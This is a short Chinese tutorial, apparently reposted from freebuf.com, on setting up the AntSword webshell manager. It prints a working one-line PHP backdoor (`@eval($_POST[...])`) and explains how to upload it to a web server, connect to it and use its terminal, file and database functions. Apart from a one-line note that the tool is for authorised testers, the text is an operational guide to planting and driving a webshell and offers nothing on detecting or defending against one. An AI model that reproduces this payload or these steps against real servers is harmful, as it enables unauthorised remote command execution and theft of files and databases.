webshell脚本操作介绍(2) – 作者:minggege

蚁剑

一. 概述

中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。

二. 使用方法

1. 初始化蚁剑

解压文件AntSword-v2.0.1-windows-x64.zip,antSword-master.zip.

AntSword-v2.0.1为加载器
antSword-master为蚁剑源码

双击AntSword-v2.0.1中的AntSword.exe。图片[1]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科点击初始化

图片[2]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科选择蚁剑源代码目录

图片[3]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科重启蚁剑加载端吗,初始化成功

图片[4]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

2. 上传小马到WEB服务器

<?php @eval($_POST[sms2056]);?>

图片[5]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

3. 使用蚁剑进行小马连接

在面板出,单击鼠标右键,点击添加数据图片[6]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

输入URL地址,也就是小马的完整URL, 还有POST中的密码

图片[7]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科点击添加,连接成功

图片[8]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

三. 功能介绍

1. 数据配置管理

图片[9]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

2. 虚拟终端操作

图片[10]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

3. 文件管理

图片[11]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

4. 数据库管理

图片[12]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科图片[13]-webshell脚本操作介绍(2) – 作者:minggege-安全小百科

来源:freebuf.com 2020-09-09 22:58:55 by: minggege

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论